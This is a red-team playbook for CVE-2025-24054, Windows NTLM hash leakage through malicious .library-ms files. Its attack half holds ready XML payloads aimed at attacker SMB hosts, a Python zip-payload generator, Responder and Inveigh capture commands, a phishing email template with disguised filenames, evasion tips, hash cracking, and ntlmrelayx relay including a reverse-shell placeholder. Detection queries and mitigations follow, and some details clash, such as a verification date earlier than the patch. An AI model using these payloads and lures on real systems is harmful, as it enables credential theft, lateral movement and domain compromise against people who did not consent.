| Attribute | Details |
|---|---|
| Technique ID | CA-FORCE-002 |
| MITRE ATT&CK v18.1 | T1187 - Forced Authentication |
| Tactic | Credential Access |
| Platforms | Windows AD (All versions 2016-2025) |
| Severity | High |
| CVE | CVE-2025-24054 (CVSS 6.5 Medium) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-08 |
| Affected Versions | Windows Server 2008 R2+, Windows Server 2012+, Windows Server 2016 (Build 14393.0+), Windows Server 2019 (Build 17763.0+), Windows Server 2022 (Build 20348.0+), Windows 10 (Build 10240.0+), Windows 11 (22H2) |
| Patched In | March 11, 2025 (KB5036427 and related patches) |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 6 (Atomic Red Team), 8 (Splunk Detection Rules), and 11 (Sysmon Detection) not included because: (1) No Atomic Red Team test exists for this specific CVE, (2) Splunk-specific rules are not provided in primary sources, (3) Sysmon captures network events passively but detection logic relies on Windows Event Log analysis.
Concept: CVE-2025-24054 is a Windows NTLM hash disclosure vulnerability that exploits the automatic processing of .library-ms files (XML-based library descriptor files) by Windows Explorer. When a user interacts with a malicious .library-ms file—whether extracted from a ZIP archive, viewed in folder explorer, or even right-clicked—Windows Explorer automatically initiates an SMB authentication request to an attacker-controlled server specified within the XML. This forced authentication triggers the leakage of the current user’s NTLMv2-SSP hash without requiring the user to enter credentials or take any interactive action beyond minimal file interaction.
Attack Surface: The vulnerability specifically targets Windows Explorer’s automatic library file processing during ZIP extraction and folder enumeration. The malicious .library-ms file contains XML with a <simpleLocation><url> field pointing to an attacker-controlled UNC path (e.g., \\attacker.ip\share). Upon processing, Explorer initiates SMB negotiation and sends NTLM authentication credentials.
Business Impact: Captured NTLMv2 hashes can be subjected to offline brute-force cracking (hashcat, John the Ripper) or used directly in pass-the-hash relay attacks to compromise additional domain systems without needing the actual plaintext password. In environments with weak SMB signing enforcement or NTLM relay protections, this leads to lateral movement, privilege escalation, and potentially domain compromise. Real-world campaigns (Check Point, March 2025) targeting government and financial institutions have used this to establish initial foothold and escalate privileges within networks.
Technical Context: Exploitation typically takes 2-5 seconds after user interaction. Detection is possible via outbound SMB connection attempts (ports 139/445) to unusual destinations and event log analysis. Stealth is moderate—defenders with proper egress filtering and network monitoring can detect exploitation; however, organizations without such controls remain highly vulnerable. The attack chain is simple: create malicious .library-ms → package in ZIP → distribute via phishing → wait for extraction → capture hash → crack or relay.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 5.3 | Ensure ‘Audit: Force audit policy subcategory settings (Windows Vista or later) to override audit policy category settings’ is set to ‘Enabled’ |
| CIS Benchmark | CIS 2.3.11 | Disable NTLM in domain environments; enforce Kerberos |
| DISA STIG | Windows Server 2022 STIG V1R5 | SV-257638-r878606 (Disable NTLM Authentication) |
| NIST 800-53 | AC-3 Access Enforcement | Proper network segmentation and authentication mechanism enforcement |
| NIST 800-53 | SC-7 Boundary Protection | Block outbound SMB traffic (TCP 445, 139) to untrusted networks |
| GDPR | Art. 32 | Security of processing (encryption, authentication strength) |
| DORA | Art. 9 | Protection and Prevention of ICT-related incidents |
| NIS2 | Art. 21 | Cyber Risk Management Measures (incident response, detection) |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights (monitoring NTLM usage) |
| ISO 27005 | Risk Scenario | “Unauthorized credential capture via forced authentication” |
Required Privileges: Any user (standard, domain, or local). No privileges needed for exploitation.
Required Access:
.library-ms file to victim (email, file share, USB, web download)Supported Versions:
Environment Requirements:
Tools:
zipfile module)Check if NTLM Authentication is Enabled:
# Check if Kerberos-only enforcement is in place
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LmCompatibilityLevel" | Select-Object LmCompatibilityLevel
# Expected output:
# LmCompatibilityLevel = 5 (allows NTLMv2)
# LmCompatibilityLevel = 3 or 4 (VULNERABLE - allows NTLMv1 or older NTLM)
# LmCompatibilityLevel = 6 or higher (may indicate Kerberos enforced, but NTLM may still fallback)
What to Look For:
LmCompatibilityLevel < 5: System accepts legacy NTLM versions; higher exploitation riskLmCompatibilityLevel = 5: Accepts NTLMv2 (current standard); system still vulnerableCheck Outbound SMB Connectivity:
# Test SMB connectivity to attacker server (test with 192.168.1.100 as example)
Test-NetConnection -ComputerName "192.168.1.100" -Port 445
# Expected output for VULNERABLE:
# TcpTestSucceeded : True
# PingSucceeded : True
# For patched systems, SMB signing may block relay, but hash is still captured
Version Note: All Windows versions 2016-2025 support this query identically.
Using Nmap to Confirm SMB is Reachable:
# Scan for open SMB port
nmap -p 445 192.168.1.100
# Expected output:
# 445/tcp open microsoft-ds
# Attempt SMB connection
smbclient -N -L \\192.168.1.100 2>&1 | head -5
Using impacket-smbserver (for testing hash capture):
# Start a fake SMB server to capture hashes
impacket-smbserver -smb2support -username dummy -password dummy shared /tmp
# Wait for incoming connections from Windows systems
# Captured hashes will appear in the terminal
What to Look For:
Supported Versions: Windows Server 2016-2025, Windows 10/11 (all versions, pre-patch)
This is the most common attack vector observed in real-world campaigns. The .library-ms file is embedded within a ZIP archive. Upon extraction by the victim, Windows Explorer automatically processes the file and triggers SMB authentication to the attacker’s server.
Objective: Craft an XML file that instructs Windows Explorer to connect to an attacker-controlled SMB share.
Command (Linux/Python):
cat > malicious.library-ms <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\\ATTACKER_IP\shared</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
EOF
# Example with attacker IP 192.168.1.100:
cat > malicious.library-ms <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\\192.168.1.100\shared</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
EOF
Expected Output:
$ ls -la malicious.library-ms
-rw-r--r-- 1 attacker attacker 278 Jan 8 10:15 malicious.library-ms
What This Means:
.library-ms extension for Windows to process itOpSec & Evasion:
.library-ms with innocuous names (e.g., report.zip, summary.library-ms)Troubleshooting:
.library-ms (case-insensitive)Objective: Create a ZIP file containing the malicious .library-ms so victims can download and extract it.
Command (Linux):
# Create ZIP with the .library-ms file
zip -q malicious.zip malicious.library-ms
# Verify contents
unzip -l malicious.zip
# Expected output:
# Archive: malicious.zip
# Length Date Time Name
# --------- ---------- ----- ----
# 278 2025-01-08 10:15 malicious.library-ms
# --------- ---------- ----- ----
# 278 1 file
Command (Windows PowerShell):
# Create ZIP using built-in compression
Compress-Archive -Path "C:\temp\malicious.library-ms" -DestinationPath "C:\temp\payload.zip" -Force
# Verify
Get-ChildItem C:\temp\payload.zip
Expected Output:
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/8/2025 10:16 AM 456 payload.zip
What This Means:
OpSec & Evasion:
Q4_Report.zip, Compliance_Check.zip)Troubleshooting:
zip utility; some Windows compression tools may add extra headersObjective: Start a listening service that captures incoming NTLM authentication attempts from victims.
Command (Linux/Responder):
# Install Responder (if not already installed)
cd /opt
git clone https://github.com/lgandx/Responder.git
cd Responder
# Edit configuration to set NTLM challenge to known value (for cracking)
sed -i 's/ Random/ 1122334455667788/g' Responder.conf
# Start Responder on eth0 interface, analyzing mode (listen only, no spoofing)
python3 Responder.py -I eth0 -A
# Alternative: Full capture mode (captures hashes from forced auth)
python3 Responder.py -I eth0 -wv -rL
# Parameters:
# -I = interface
# -A = Analyze only (no DNS/LLMNR spoofing)
# -w = Enable WPAD spoofing
# -v = Verbose
# -rL = Relay mode
Command (Windows/Inveigh):
# Import Inveigh module
Import-Module .\Inveigh.ps1
# Start Inveigh SMB listener
Invoke-Inveigh -IP 192.168.1.100 -HTTP N -NBNS N -mDNS N -LLMNR N -Challenge 1122334455667788
# Parameters:
# -IP = Listening IP
# -HTTP = Disable HTTP listener
# -NBNS = Disable NetBIOS spoofing
# -mDNS = Disable mDNS spoofing
# -LLMNR = Disable LLMNR spoofing
# -Challenge = Fixed NTLM challenge for offline cracking
Expected Output (Responder):
[*] Responder Started: True
[*] Listening on interface eth0
[SMB] NTLMv2-SSP Hash Captured from: 192.168.1.50 (VICTIM-PC) - User: DOMAIN\Administrator
Full Hash: Administrator::DOMAIN:1122334455667788:CAPTURED_RESPONSE
Expected Output (Inveigh):
[+] SMB Server Started
[+] Listening on 192.168.1.100:445
[+] NTLMv2-SSP Hash Captured:
DOMAIN\Administrator:1122334455667788:B44F4DDAB0FFC8976...
What This Means:
OpSec & Evasion:
Troubleshooting:
sudo lsof -i :445 to identify service; kill if not neededsudo python3 Responder.py...Objective: Trick victim into downloading and extracting the malicious ZIP file via phishing email or file-sharing link.
Example Phishing Email:
Subject: Q4 2025 Compliance Audit - Action Required
Body:
Dear [Victim Name],
Please review the attached Q4 compliance report and provide feedback by EOD Friday.
The file contains important audit results that require your approval.
Best regards,
Compliance Team
Attachment/Link:
Q4_Compliance.zipAudit_Summary.zipWhat to Look For (from attacker perspective):
OpSec & Evasion:
Objective: Once NTLM hash is captured, crack it offline to obtain plaintext password.
Command (Hashcat on GPU):
# Syntax: hashcat -m 5600 (NTLMv2) <hash_file> <wordlist>
hashcat -m 5600 -a 0 captured_hash.txt /usr/share/wordlists/rockyou.txt
# Parameters:
# -m 5600 = NTLMv2 hash type
# -a 0 = Dictionary attack
# Example hash format:
# Administrator::DOMAIN:1122334455667788:CAPTURED_RESPONSE_HERE
Command (John the Ripper):
# Crack using John
john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt captured_hash.txt
# Alternative: Use crack.sh online service for LM/NTLMv1 (much faster for these)
# (Note: NTLMv2 is not vulnerable to crack.sh due to random blob)
Alternative: Use Relay Instead of Cracking:
# Instead of cracking, relay the captured hash to SMB target
impacket-ntlmrelayx -t smb://192.168.1.20 -c 'whoami'
# This authenticates to another system on behalf of the captured user
# No password cracking needed
Expected Output (Successful Crack):
Session.Name...: Hashcat
Status...........: Cracked
Hash.Type........: NTLMv2
Hash.Target......: Administrator::DOMAIN:...
Time.Started.....: Wed Jan 08 11:22:33 2025
Time.Estimated...: Wed Jan 08 11:22:45 2025
Recovered........: 1/1 (100.00%)
Administrator: P@ssw0rd123!
What This Means:
OpSec & Evasion:
Troubleshooting:
grep to clean hash format: echo "DOMAIN\user::DOMAIN:challenge:response" > hash.txthashcat -m 5600 -a 0 --device-type=CPUReferences & Proofs:
Supported Versions: Windows Server 2016-2025, Windows 10/11 (verified March 2025 campaigns)
More recent phishing campaigns deliver the .library-ms file directly without ZIP compression. Simply viewing the folder containing the file or right-clicking on it triggers the vulnerability.
Objective: Same as METHOD 1 Step 1.
Command:
cat > Info.doc.library-ms <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\\159.196.128.120\shared</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
EOF
File Naming Trick: Name it Info.doc.library-ms to disguise as a document; Windows will process as .library-ms.
Expected Output:
$ file Info.doc.library-ms
Info.doc.library-ms: XML 1.0 document, ASCII text
Objective: Send .library-ms file directly to victim email or shared network folder.
Command (Upload to OneDrive/Dropbox):
# Using curl to upload
curl -X POST https://content.dropboxapi.com/2/files/upload \
-H "Authorization: Bearer YOUR_ACCESS_TOKEN" \
-H "Dropbox-API-Arg: {\"path\": \"/Shared/Info.doc.library-ms\", \"mode\": \"add\"}" \
--data-binary @Info.doc.library-ms
Email Attachment:
Info.doc.library-msExpected Outcome:
.library-msObjective: Hash is captured when victim takes any of these actions:
.library-ms file.library-ms fileNo Additional Action Needed:
What This Means:
OpSec & Evasion:
.doc in name)Objective: Same as METHOD 1 Step 5.
References & Proofs:
Supported Versions: Windows Server 2016-2025, Windows 10/11
Instead of cracking the captured hash offline, relay it directly to SMB services on another system to authenticate as the captured user.
Command:
python3 Responder.py -I eth0 -wv -rL
(Same as METHOD 1 Step 3)
Command:
# Deliver via email or file share (same as METHOD 1/2)
Objective: Use the captured NTLM hash to authenticate to a target server (e.g., file share, admin workstation).
Command (impacket ntlmrelayx):
# Relay to a specific target system
impacket-ntlmrelayx -t smb://192.168.1.20 -c 'whoami'
# Parameters:
# -t = Target (SMB server)
# -c = Command to execute (whoami, ipconfig, etc.)
# Alternative: Create reverse shell
impacket-ntlmrelayx -t smb://192.168.1.20 -c 'powershell -enc <BASE64_SHELLCODE>'
Expected Output:
[*] Incoming connection (192.168.1.50) - SMB Session will be relayed
[+] Authenticating against smb://192.168.1.20
[+] User is admin on 192.168.1.20!
[+] Command executed:
nt authority\system
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Version: Latest (6.2.x as of 2025)
Minimum Version: 3.x
Supported Platforms: Linux, macOS, Windows (via WSL)
Installation:
git clone https://github.com/lgandx/Responder.git
cd Responder
sudo python3 Responder.py -h
Usage (Capture Mode):
sudo python3 Responder.py -I eth0 -wvr
# -I = Interface
# -w = WPAD spoofing
# -v = Verbose
# -r = Raise privileges on relay
Usage (Analyze Mode - Hash Capture Only):
python3 Responder.py -I eth0 -A
Version: 1.4.x
Minimum Version: 1.0
Supported Platforms: Windows (PowerShell)
Installation:
# Download Inveigh.ps1
Invoke-WebRequest -Uri https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1 -OutFile Inveigh.ps1
# Import module
. .\Inveigh.ps1
Usage:
Invoke-Inveigh -IP 192.168.1.100 -HTTP N -HTTPS N -Foreground
# Parameters:
# -IP = Listening IP
# -HTTP = Enable HTTP capture
# -HTTPS = Enable HTTPS capture
# -Foreground = Run in foreground (for testing)
Version: Latest (0.11.x)
Minimum Version: 0.9.x
Supported Platforms: Linux, Windows (via WSL/Python)
Installation:
pip3 install impacket
Usage (Relay to SMB):
impacket-ntlmrelayx -t smb://target.ip -c 'whoami'
#!/usr/bin/env python3
import zipfile
import sys
attacker_ip = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.100"
library_ms_content = f'''<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\\\\{attacker_ip}\\shared</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>'''
with open("payload.library-ms", "w") as f:
f.write(library_ms_content)
with zipfile.ZipFile("payload.zip", "w") as z:
z.write("payload.library-ms")
print(f"[+] Created payload.zip with attacker IP: {attacker_ip}")
Usage:
python3 create_payload.py 192.168.1.100
Rule Configuration:
DeviceNetworkEventsRemotePort, RemoteIP, DeviceId, InitiatingProcessNameKQL Query:
DeviceNetworkEvents
| where RemotePort in (445, 139)
| where InitiatingProcessName == "explorer.exe"
| where RemoteIP !in ("10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16") // Exclude internal IPs
| where not(RemoteIP startswith "DC-" or RemoteIP startswith "192.168.1.") // Exclude known DCs
| summarize count() by DeviceId, RemoteIP, RemotePort, bin(TimeGenerated, 5m)
| where count_ > 0
What This Detects:
Manual Configuration Steps (Azure Portal):
Detect Explorer SMB Connections to External IPsMediumEnabled5 minutes30 minutesManual Configuration Steps (PowerShell):
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
-DisplayName "Detect Explorer SMB Connections to External IPs" `
-Query @"
DeviceNetworkEvents
| where RemotePort in (445, 139)
| where InitiatingProcessName == "explorer.exe"
| where RemoteIP !in ("10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16")
"@ `
-Severity "Medium" `
-Enabled $true `
-RunOncePerDay
Rule Configuration:
DeviceFileEventsFileName, FolderPath, ActionType, DeviceIdKQL Query:
DeviceFileEvents
| where FileName endswith ".library-ms"
| where ActionType in ("FileCreated", "FileModified", "FileRenamed")
| where FolderPath !contains "System32" // Exclude legitimate Windows files
| summarize count() by DeviceName, FileName, FolderPath, TimeGenerated
What This Detects:
.library-ms files in user-accessible locations.library-ms stagingInfo.doc.library-ms)Manual Configuration Steps:
Detect Suspicious .library-ms File CreationHigh5 minutesRule Configuration:
DeviceLogonEvents, DeviceProcessEventsAccountName, LogonType, InitiatingProcessNameKQL Query:
DeviceLogonEvents
| where LogonType == 3 // Network logon (SMB)
| where AuthenticationPackageName =~ "NTLM"
| where isnotempty(InitiatingProcessName) and InitiatingProcessName =~ "explorer.exe"
| where AccountName != "ANONYMOUS LOGON"
| summarize count() by DeviceName, AccountName, RemoteIP, TimeGenerated
What This Detects:
Log Source: Security
Trigger: When NTLM authentication is relayed or successful after capture
Filter:
Manual Configuration Steps (Group Policy):
gpupdate /force on all domain computersManual Configuration Steps (Server 2022+):
Manual Configuration Steps (Local Policy):
auditpol /set /subcategory:"Logon" /success:enable /failure:enableLog Source: Security
Trigger: When NTLM relay attempt fails (e.g., wrong password, target unreachable)
Filter:
Configuration: Same as Event ID 4624 above
Mitigation 1: Apply March 2025 Security Update (KB5036427)
Objective: Patch the vulnerability at the OS level. Microsoft released fixes on March 11, 2025, for all affected Windows versions.
Applies To Versions: Server 2016-2025, Windows 10/11
Manual Steps (Windows Update):
Get-HotFix | Select-Object -Property HotFixId, InstalledOn | Where-Object {$_.HotFixId -like "KB5036427"}
Manual Steps (PowerShell - Server 2022+):
# Download and install updates
$Updates = Get-WUList | Where-Object {$_.Title -like "*KB5036427*"}
Install-WindowsUpdate -Updates $Updates -AcceptAll -AutoReboot
Manual Steps (WSUS / SCCM):
Validation Command (Verify Fix):
# Check if patched version is installed
(Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer" -Name "ProductVersion").ProductVersion
# Expected output for patched:
# Windows Server 2022 KB5036427: 10.0.20348.3270+
# Windows Server 2019 KB5036427: 10.0.17763.7009+
# Windows Server 2016 KB5036427: 10.0.14393.7876+
What to Look For:
Mitigation 2: Block Outbound SMB Traffic (Network Egress Filtering)
Objective: Prevent systems from connecting to external SMB servers (ports 445, 139). This breaks the attack chain immediately.
Applies To Versions: All Windows versions (network-level mitigation)
Manual Steps (Firewall - Windows Defender Firewall):
Block SMB Outbound to ExternalManual Steps (Network Firewall - Palo Alto / Fortinet / Cisco):
# Example: Palo Alto Networks
Object → Service → Create New
Name: "SMB-Outbound"
Protocol: TCP
Port: 445, 139
Policy → Outbound
Source: Internal_Subnets
Destination: External/Internet
Service: SMB-Outbound
Action: Deny
Manual Steps (Group Policy - Enterprise):
Validation Command (Verify Fix):
# Check if outbound SMB is blocked
Get-NetFirewallRule -DisplayName "*SMB*" | Where-Object {$_.Direction -eq "Outbound"} | Select-Object DisplayName, Enabled, Direction, Action
Expected Output (If Secure):
DisplayName Enabled Direction Action
----------- ------- --------- ------
Block SMB Outbound True Outbound Block
What to Look For:
net use \\external.ip\share (should fail)Mitigation 3: Disable NTLM Authentication (Enterprise-Wide)
Objective: Remove NTLM as an authentication option; force Kerberos. This eliminates the hash entirely.
Applies To Versions: Server 2016-2025 (when Kerberos is available)
Prerequisites:
Manual Steps (Group Policy - Disable NTLM):
gpupdate /forceManual Steps (Registry - Direct Configuration):
# Set to deny NTLM (registry level)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RestrictNTLMInDomain" -Value 4 -Type DWORD
# Restart required
Restart-Computer
Impact Assessment:
Validation Command (Verify Fix):
# Check if NTLM is disabled
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RestrictNTLMInDomain"
# Expected output:
# RestrictNTLMInDomain : 4 (deny all NTLM)
Mitigation 4: Enforce SMB Signing
Objective: Cryptographically sign all SMB messages. This prevents relay attacks even if hash is captured.
Manual Steps (Group Policy):
gpupdate /forceManual Steps (Registry):
# Enable SMB signing
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature" -Value 1 -Type DWORD
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "EnableSecuritySignature" -Value 1 -Type DWORD
Restart-Computer
Validation Command (Verify Fix):
# Check if SMB signing is enabled
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" | Select-Object RequireSecuritySignature, EnableSecuritySignature
Expected Output (If Secure):
RequireSecuritySignature : 1
EnableSecuritySignature : 1
Mitigation 5: Restrict File Explorer Behavior (Disable .library-ms Processing)
Objective: Prevent Windows Explorer from automatically processing .library-ms files.
Manual Steps (Registry - Disable Library Files):
# Disable library file handling
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v DisableLibraryItemLaunch /t REG_DWORD /d 1 /f
# Restart Explorer or reboot
Stop-Process -Name explorer -Force
Start-Process explorer
Manual Steps (Remove .library-ms File Association):
# Remove .library-ms file type association
Remove-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.library-ms" -Force -ErrorAction SilentlyContinue
Validation Command (Verify Fix):
# Check if library file handling is disabled
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "DisableLibraryItemLaunch" -ErrorAction SilentlyContinue
Mitigation 6: User Awareness & Email Gateway Controls
Objective: Train users to recognize phishing attempts and block malicious files at email gateway.
Manual Steps (Email Security):
.library-ms file attachments# Block .library-ms attachment
New-TransportRule -Name "Block library-ms" -AttachmentHasExecutableContent $true -RejectMessageReasonText "Suspicious file type"
Manual Steps (Endpoint Detection & Response):
.library-ms file creation/modification.library-ms filesFiles:
.library-ms file created outside C:\Windows\System32\Libraries\ (legitimate library location)Info.doc.library-ms, Report.xls.library-ms, Summary.pdf.library-msRegistry:
.library-msNetwork:
Disk:
.library-ms file on disk (compare against whitelist of legitimate libraries)C:\Users\[Username]\Downloads\, C:\Users\[Username]\AppData\Local\Temp\.library-ms files may be recoverableMemory:
Cloud:
.library-ms fileMFT/USN Journal:
1. Isolate Affected System
Command (Immediate Network Isolation):
# Disable network adapter
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
# Alternative: Block at firewall
New-NetFirewallRule -DisplayName "Isolate Machine" -Direction Outbound -Action Block
Manual (Azure / Cloud VM):
Notification:
2. Collect Evidence
Command (Export Security Event Log):
# Export full Security log for forensic analysis
wevtutil epl Security C:\Evidence\Security.evtx
# Export Sysmon events (if available)
wevtutil epl "Microsoft-Windows-Sysmon/Operational" C:\Evidence\Sysmon.evtx
# Export Application log
wevtutil epl Application C:\Evidence\Application.evtx
Command (Capture Memory Dump):
# Capture lsass.exe memory (contains credential material)
procdump64.exe -accepteula -ma lsass.exe C:\Evidence\lsass.dmp
# Capture explorer.exe memory
procdump64.exe -accepteula -ma explorer.exe C:\Evidence\explorer.dmp
Manual (Event Viewer):
C:\Evidence\Security.evtxChain of Custody:
3. Remediate
Command (Remove Malicious .library-ms):
# Find and remove .library-ms files
Get-ChildItem -Path "C:\Users" -Recurse -Filter "*.library-ms" -Force | Remove-Item -Force
# Check Downloads folder specifically
Remove-Item -Path "C:\Users\*\Downloads\*.library-ms" -Force -ErrorAction SilentlyContinue
Command (Reset User Credentials):
# Force password change for affected user
Set-ADUser -Identity "john.doe" -ChangePasswordAtLogon $true
# Kick off all existing sessions
Revoke-ADUserLogonSession -Identity "john.doe"
Command (Review and Revoke Relay Attacks):
# Check for NTLM relay attempts on servers
Get-EventLog -LogName Security -InstanceId 4624 -Newest 10000 | Where-Object {$_.Message -like "*192.168.1.*"}
4. Post-Incident Assessment
Check if Lateral Movement Occurred:
# Search for logons from captured user account to other systems
Get-EventLog -LogName Security -InstanceId 4624 | Where-Object {$_.Message -like "*john.doe*" -and $_.TimeGenerated -gt (Get-Date).AddDays(-7)}
# Check for suspicious process creation by affected account
Get-EventLog -LogName Security -InstanceId 4688 | Where-Object {$_.Message -like "*john.doe*"}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker sends phishing email with malicious link/attachment |
| 2 | Initial Access | [IA-PHISH-005] Internal Spearphishing | Attacker sends email from compromised internal account |
| 3 | Credential Access | [CA-FORCE-002] | Malicious .library-ms file triggers NTLM hash leakage |
| 4 | Credential Access | [CA-BRUTE-001] Azure Portal Password Spray | Attacker attempts to crack captured hash or spray against portal |
| 5 | Lateral Movement | [LM-AUTH-002] Pass-the-Ticket | Attacker uses captured NTLM hash for relay attack |
| 6 | Privilege Escalation | [PE-VALID-002] Computer Account Quota Abuse | Attacker abuses relayed access to create new computer accounts |
| 7 | Impact | Domain compromise, ransomware deployment | Full environment compromise |
.library-ms.library-ms attachment (Info.doc.library-ms).library-ms within ZIP; unpatched systems (Server 2019 Build 17763.5000)Compliance_Report.zip from attacker-hosted Dropbox link.library-ms file inside